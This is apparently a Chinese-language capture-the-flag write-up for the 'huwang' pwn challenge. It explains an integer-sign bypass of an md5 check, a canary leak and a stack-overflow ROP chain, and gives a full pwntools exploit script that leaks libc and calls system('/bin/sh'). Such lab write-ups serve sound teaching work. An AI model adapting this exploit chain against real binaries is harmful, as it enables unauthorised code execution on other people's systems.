[Pwn]huwang - Cpt.shao xp0int Posted on Oct 14 2018 这题的话有很明显的干扰信息,还是常见的选单系统,但是`add_note`, `delete_note`这些操作都是没有意义的,真正漏洞的利用都是位于666号选项,也就是隐藏的函数里面。  666函数里面主要是有一个猜md5的检查需要绕过。主要的逻辑是先从urandom里面取字节,然后做了一个按位与的变换,之后做指定轮数的md5变换,注意在函数的尾部还会取一次urandom的内容并且更新到secret里面,我们要猜中多轮md5变换之后的内容才能进入到隐藏函数secret里面。  问题在于进行md5变换输入轮数的时候,程序是有做一个小于10的检测的,但是我们可以输入一个负数,比如-1,程序做了无符号变换以后就变成了0xffffffff,这样就会导致变换轮数太多而程序无法正常工作。再到下一次重新运行程序从secrt文件中读取内容的时候会是全部都是零字节,然后我们做一轮md5变换,输入检查的时候直接输入`md5(0)`的内容,这样我们就能通过检测进入到secret函数。 同时666函数的name变量里面有一个长度溢出,进入到secret函数以后我们能够泄露出canary,同时secrt函数底部也有一处栈溢出,到这里我们就能够构造rop链来完成攻击。  由于程序是开了RELRO的保护,无法写got表。在构造一次puts输入用来泄露libc地址以后,我们需要有机会再次输入rop chain(包含libc函数地址)来完成攻击,这里用到的解决方法是在name泄露canary的时候一并泄露出一个栈地址,然后用过程序提供的`read_into`函数来往栈上续写rop链。 ```python from pwn import * import sys context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' elf = ELF('./huwang') libc = ELF('./libc.so.6') env = {'LD_PRELOAD': ''} p = process('./huwang') pop_rdi = 0x401573 pop_rsi_r15 = 0x401571 def six(count, ans): p.recvuntil('>>') p.sendline('666') p.recvuntil('name') p.send('a'*0x15 + '@@@@') p.recvuntil('secret?') p.sendline('y') p.recvuntil('secret:') p.sendline(str(count)) p.sendafter('secret', ans) def add(size, content): p.recvuntil('>>') p.sendline('1') p.recvuntil(':') p.sendline(str(size)) p.recvuntil(':') p.send(content) def delete(idx): p.recvuntil('>>') p.sendline('2') p.recvuntil(':') p.sendline(str(idx)) def nosix(): p.recvuntil('>>') p.sendline('666') p.recvuntil('name') p.send('a'*0x19) p.recvuntil('secret?') p.sendline('n') if len(sys.argv) > 1: six(-1, '123') # p.shutdown() six(1, unhex('4ae71336e44bf9bf79d2752e234818a5')) p.recvuntil('@@@@') canary = u64('\x00'+ p.recv(7)) p.info('canary: %x' % canary) stack = u64(p.recv(6) + '\x00\x00') p.info('stack: %x' % stack) p.recvuntil('?') p.sendline(cyclic(0xfe)) p.recvuntil('N]') p.sendline('Y') payload1 = p64(pop_rdi) payload1 += p64(elf.got['puts']) payload1 += p64(elf.plt['puts']) payload1 += p64(pop_rdi) payload1 += p64(stack-0x50) payload1 += p64(pop_rsi_r15) payload1 += p64(0x18) payload1 += p64(0) payload1 += p64(0x400cc1) payload1 += p64(0xdeadbbef) # gdb.attach(p, 'b *0x400cc1') p.sendline(cyclic(264)+p64(canary) + '@'*8 + payload1) p.recvuntil('paac\n') content = p.recv(6) leak_libc = u64(content + '\x00\x00') libc.address = leak_libc - libc.symbols['puts'] p.info('libc.address: %x' % libc.address) payload2 = p64(pop_rdi) payload2 += p64(next(libc.search('/bin/sh'))) payload2 += p64(libc.symbols['system']) p.send(payload2) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc]迟来的签到题-pyz [Web]easy_tornado-pyz
没有帐号? 立即注册